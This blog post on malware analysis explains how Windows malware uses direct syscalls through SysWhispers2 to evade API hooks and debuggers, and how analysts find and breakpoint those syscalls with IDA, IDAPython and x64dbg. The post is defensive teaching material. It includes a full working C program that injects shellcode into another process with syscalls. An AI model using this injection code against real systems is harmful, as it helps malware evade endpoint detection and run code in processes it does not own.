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m0rv4i November 12, 2021

Malware Analysis: Syscalls
jmpesp.me/malware-analysis-syscalls-example/

This blog post can accompany a walkthrough video with herrcore on YouTube available here.

In the eternal cat-and-mouse chase between cyber attackers and cyber defenders, one of
the critical activities that defenders can perform is the analysis of malware to draw out IOCs
(Indicators of Compromise) and determine what it is that the malware has actually done on a
system.

When malware is run on a Windows system it needs to interact with that system in some
way. One of the most common ways to do so is by using the Windows API, where well
known API calls such VirtualAllocateEx , WriteProcessMemory  and
CreateRemoteThread  would allow malware to inject some malicious code into a process

and then run that code.

https://jmpesp.me/malware-analysis-syscalls-example/
https://twitter.com/herrcore
https://www.youtube.com/watch?v=Uba3SQH2jNE
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For this reason, when debugging malware one of the first things you'll see people do is set
breakpoints on these well known API calls and any others that could be used to perform
malicious actions.

Similarly, defensive software such as EDRs will often monitor these API calls, such as by
hooking them so that when they are called they first take a detour into EDR code where the
arguments and behaviour can be analysed, before allowing the API call to continue.

Attackers have attempted to circumvent this by going 'lower' and using internal or
undocumented API calls, such as RtlCreateUserThread  or NtAllocateVirtualMemory ,
but these in turn are now also under close scrutiny.

The latest step is to move the angle of approach to as close to the kernel as possible, and to
use syscalls directly, but first we should probably cover what a syscall actually is.

Syscalls

Note, the following applies to 64-bit executables on 64-bit Windows . While similar, 32-bit
applications and on 32-bit Windows and WOW64 work slightly differently.

As alluded to above, the Windows Operating System (OS) has multiple layers of abstraction
in order to allow developers internally some license to make changes to the way Windows
internals works without breaking any programs that use their APIs.

For example, Microsoft provide the Windows API with great documentation on msdn which
developers that wish to interact with the OS are encouraged to use (for example
CreateThread  in kernel32.dll which, unsurprisingly, creates a thread running some code).

These API calls themselves may utilise other, lower level, internal or undocumented API
calls, such as RtlCreateUserThread  (in ntdll.dll), in order to provide that abstraction layer
and wrap code that may change or be platform dependent, etc.

Ultimately, most of these API calls need to make some change that needs to be handled by
the Windows Kernel (such as anything using hardware like reading and writing to disk).
'Kernel space' is highly protected and userland code cannot make change to or call kernel
functions, except through the use of syscalls.

https://msdn.microsoft.com/
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Image shamelessly pilfered from

http://masters.donntu.org/
These syscalls takes place in functions in ntdll.dll (or Win32k for graphical calls), and are
prefixed with Nt  or Zw , such as NtCreateThread . These are the functions that actually
perform the syscall, transferring execution from userland to the kernel in a controlled manner.
So when an application calls, for example, CreateRemoteThread , the actual flow looks
something like this:

Image nabbed from https://miro.medium.com/max/
So what does a syscall look like?

Essentially a syscall is simply involves moving a predetermined number (the System Call
Number) into the rax  register and then invoking the syscall  instruction, something like
this:
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NtCreateThread in ntdll.dll making a syscall.
This then hands execution over to the kernel, which looks up the relevant function for this
syscall number in the System Service Dispatch Table (SSDT) and then invokes it.

Using Syscalls

Now, using syscalls as a developer is risky as the syscall numbers are internal to Windows
and can (and do) change with any update. So if you write code that uses the syscall
instruction directly you could have working code one minute and broken code the next.

However, to attackers, they provide an excellent opportunity to hide their tracks by interacting
with the OS at the lowest possible userland level, bypassing any controls or detections in
place around the API layers and making life more difficult for reverse engineers as their
binaries will not have any of the usual imports for the activities they are performing. Similarly,
the usual breakpoints when dynamically reverse engineering malware on VirtualProtect ,
VirtualAlloc , WriteProcessMemory  etc are all useless, as those API calls are not

actually invoked.

To highlight this, I've written a simple example program that uses syscalls to execute some
benign 'Message Box' shellcode into a target process. The code is available here for anyone
interested in investigating further.

This program uses the popular Syswhispers2  project to do all the heavy lifting.
Syswhispers2 maintains a lookup table of known syscall numbers across Windows versions
and updates and populates the rax  register with the appropriate value at runtime before
invoking the syscall  instruction to perform the action.

The functions are named after their 'real' counterparts to make it easy to develop in, but
make no mistake  - these are not the real functions ntdll.dll.

https://github.com/m0rv4i/SyscallsExample
https://github.com/jthuraisamy/SysWhispers2
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Syswhispers2

assembly for NtAllocateVirtualMemory
As we can see above, a function hash identifier is passed to the Syswhispers2
GetSyscallNumber  function which will determine the current OS and return the correct

syscall number (in the rax  register, as per usual).

After other register values are restored, the syscall  instruction is then called.

This assembly file, along with the respective header and C files generated by Syswhispers2,
can be imported in any project and provide you with the suite of functions you need to
perform syscalls in your program and not use the Windows APIs at all.

In our example, we allocate some memory in the target process, write the shellcode to it,
change it to execute permissions and then create a thread in the process to run the code.
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#include <iostream> 
#include "shellcode.h" 
#include "syscalls.h" 

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 

int main(int argc, char* argv[]) 
{ 
   printf("**** Syscalls Example! ****\n"); 

   if (argc != 2) { 
       printf("[!] Usage: %s <pid to inject into>\n", argv[0]); 
       return EXIT_FAILURE; 
   } 

   auto pid = atoi(argv[1]); 

   if (!pid) { 
       printf("[-] Invalid PID: %s\n", argv[1]); 
       return EXIT_FAILURE; 
   } 

   HANDLE hProcess; 
   CLIENT_ID clientId{}; 
   clientId.UniqueProcess = (HANDLE)pid; 
   OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) }; 
   auto status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, 
&clientId); 

   if (!NT_SUCCESS(status)) { 
       printf("[-] Failed to open process: %d, NTSTATUS: 0x%x\n", pid, status);
       return EXIT_FAILURE; 
   } 
   printf("[*] Successfully opened process %d\n", pid); 

   size_t shellcodeSize = sizeof(shellcode) / sizeof(shellcode[0]); 
   printf("[*] Shellcode length: %lld\n", shellcodeSize); 
   PVOID baseAddress = NULL; 
   size_t allocSize = shellcodeSize; 
   status = NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &allocSize, 
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 

   if (!NT_SUCCESS(status)) { 
       printf("[-] Failed to allocate memory, NTSTATUS: 0x%x\n", status); 
       return EXIT_FAILURE; 
   } 
   printf("[*] Successfully allocated RW memory at 0x%p of size %lld\n", 
baseAddress, allocSize); 

    
   size_t bytesWritten; 
   status = NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, shellcodeSize, 
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&bytesWritten); 
   if (!NT_SUCCESS(status)) { 
       printf("[-] Failed to write shellcode to memory at 0x%p, NTSTATUS: 0x%x\n", 
baseAddress, status); 
       return EXIT_FAILURE; 
   } 
   printf("[*] Successfully wrote shellcode to memory\n"); 

   DWORD oldProtect; 
   status = NtProtectVirtualMemory(hProcess, &baseAddress, &shellcodeSize, 
PAGE_EXECUTE_READ, &oldProtect); 
   if (!NT_SUCCESS(status)) { 
       printf("[-] Failed to change permission to RX on memory at 0x%p, NTSTATUS: 
0x%x\n", baseAddress, status); 
       return EXIT_FAILURE; 
   } 
   printf("[*] Successfully changed memory protections to RX\n"); 

   HANDLE hThread; 
   CONTEXT threadContext; 
   CLIENT_ID threadClientId; 
   USER_STACK teb; 
   status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, 
NULL, FALSE, NULL, NULL, NULL, NULL);  
   if (!NT_SUCCESS(status)) { 
       printf("[-] Failed to create thread, NTSTATUS: 0x%x\n", status); 
       return EXIT_FAILURE; 
   } 
   printf("[*] Successfully created thread in process\n"); 

   printf("[+] Shellcode injected using syscalls!\n"); 
   return EXIT_SUCCESS; 
} 

Syscalls example code using Syswhispers2
As you can see Syswhispers2 has made is super easy to use syscalls in malware, however
any of this can be done manually of course or in slightly different ways by malware authors.

Analysis

So now to the meat of the matter, what does malware that uses syscalls look like under the
microscope, and what do we need to know to look for?

If we examine our example binary in CFF Explorer we can see that, as expected, it doesn't
import any of the usual suspect API calls, similar to if it was using dynamic API resolution.
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Our syscalls example doesn't import any of the usual 'suspicious' imports.
If we run it in a debugger, none of our API breakpoints get hit.

When we start to statically reverse engineer the binary we don't see calls to LoadLibrary ,
no API hashes or dynamic resolution.

If we see this, and suspect the use of syscalls, one quick and easy win is to simply check for
any syscall  instructions. We can do this in IDA through the Text search with Find all
occurrences checked.
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Search for syscall instructions in IDA

The text search which find all occurrences of 'syscall', including syscall instructions.
Normal applications should almost under no circumstances be making syscalls directly, and
instead be using API calls to interact with the OS. If you find syscall instructions it is a large
red flag.

Examining one of these instances we can see the function and recognise it from
Syswhispers2, with the API hash being passed to the syscall number identification function
and the the syscall  instruction itself at the bottom.

One example

of the syscall instruction found by the text search.
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We can take this function hash ( 0xFBCC0E8 ) and search for it in our example project, or
Syswhispers2 itself, and find that it is for NtReadFile .

We can

match that call to the Syswhispers2 function.
Of course this only works if the target is using Syswhispers2, but knowing that the PE is
using syscalls can help focus reversing efforts and ensure we don't miss anything. Attackers
can also use hard-coded syscall numbers if they know the specific version of Windows that
the payload will be run on, or write their own syscall number resolution routine.

Similarly, they can also set up a syscall and populate the rax  register but jmp  to a
legitimate syscall  instruction in ntdll.dll. In this case, our Text search wouldn't find
anything as there are no syscall instructions in the PE.

Dynamic Analysis

The best way however is to kernel debug the target and set breakpoints on the SSDT for
functions of note (allocating virtual memory, writing to virtual memory etc), as this will allow
the analyst to track the activity with 100% certainty.

This topic warrants its own blog post however, so we shall cover this next time!

An alternative, if we searched and found syscall  instructions in the PE, is to take the list
of syscall instructions in IDA and use the relative offsets to place breakpoints on those calls
when we're debugging the application.
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Noting the address and relative offset of the syscall instructions in IDA
For example, if we note the address of this instruction in IDA, we can see it's at a relative
offset of 1B6D  (0x140001B6d - the module base address of 0x140000000).

So we can start debugging and stick a breakpoint on this offset (it is unlikely to be the same
address due to ASLR, but we can just add this offset to the module base address once its
loaded) along with all the other syscall instructions, and from there start to build a picture of
what the application is doing.

Edit: After this blog post went out readgsqword on twitter reached out and shared the
following code for idapython which I have included here.

from idautils import * 
from idaapi import * 
from idc import * 
def breakpoint_syscall(): 
 name = get_input_file_path().split("\\")[-1] 
 for segea in Segments(): 
   for funcea in Functions(segea, get_segm_end(segea)): 
       functionName = get_func_name(funcea) 
       for (startea, endea) in Chunks(funcea): 
           for head in Heads(startea, endea): 
             disasm_line = generate_disasm_line(head,0) 
             if disasm_line.find("syscall") != -1 and disasm_line.find("Low latency 
system call") != -1: 
               offset = head - get_imagebase() 
               print("bp %s:0+0x%08x;"%(name, offset)) 
               idc.add_bpt(head) 
breakpoint_syscall()

If you have IDA pro you can paste this in the Python prompt and it will set a breakpoint on
each code line in a function containing a syscall instruction.

https://twitter.com/readgsqword
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For x64dbg lovers, it will also print the command needed to set breakpoints for each offset in
x64dbg, which can be copy pasted into the x64dbg command prompt.

The code snippit in action.

The output

can be used to set breakpoints in x64dbg.

The

breakpoints set successfully.
Here we can see it has created breakpoints on all five of the syscalls used
( NtOpenProcess , NtAllocateVirtualMemory , NtWriteVirtualMemory ,
NtProtectVirtualmemory  and NtCreateThreadEx )

Note this will only create breakpoints for syscalls IDA finds in a function, so if the code is
elsewhere in a binary or IDA believes is it not used, then this will not include those calls.
However the search technique can be used as a fallback in that case.

We start debugging the malware again and once we hit the entrypoint we have the module
address:

The entrypoint
breakpoint in x64dbg providing an address in the module.
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We know that a syscall instruction is at offset 1B6D , so we stick a breakpoint on
0x7FF7C6E31B6D

Set our breakpoint

This time, when we continue execution, we hit the breakpoint and x64dbg helpfully informs
us that this syscall will call NtAllocateVirtualMemory

x64dbg examines the syscall number in rax  and informs us this syscall is
NtAllocateVirtualMemory

A quick search and we can see that the second argument to NtAllocateVirtualMemory  is
a pointer to the location that will receive the base address of the allocation.

NtAllocateVirtualMemory , despite being an internal API call, is documented on MSDN.
The Windows 64-bit calling convention passes the first four integer arguments in the rcx ,
rdx , r8  and r9  registers, so if we follow rdx  in the dump and step over the syscall, we

will see this location being populated with a pointer to the base address of the allocation.

rdx

points to this location before we step over the syscall.
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The same

location after the syscall.
We can right-click this location and choose integer -> hex 64 to show this location as a 64 bit
int, then copy the value and examine that region in our target process (here notepad.exe).

The location as an int

We can then open up the target process in Process Hacker and examine this location in
memory, noting that it has indeed been allocated.
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The

allocation was successful.
If we continue execution, rinsing and repeating for the other syscalls, we see the region get
populated with the shellcode, the thread get created and then the message box pop as the
shellcode is run.
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The region

after the shellcode has been written to it.

The shellcode executing.
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It's worth noting however that this technique (along with the static analysis with the search)
only works if the syscalls instructions take place inside the malware, such as with
Syswhispers2, which is why the ultimate authority when dealing with syscall malware is a
kernel mode debugger.

Summary

Using syscalls is a sophisticated technique available to attackers that take a little extra work
but allows the malware to bypass API hooks, breakpoints and detections by interacting with
the kernel directly via the syscall interface.

Knowing what to look for then if you suspect the use of syscalls then is extremely useful, and
having this knowledge in the back pocket can help you avoid running afoul of malware using
this technique. We've looked at what syscalls are, and some ways to help locate and debug
what they are doing in 64bit Windows executables.

You can find the example projects (including a vanilla API example and a syscalls example)
used in this blog on GitHub here: https://github.com/m0rv4i/SyscallsExample

https://github.com/m0rv4i/SyscallsExample

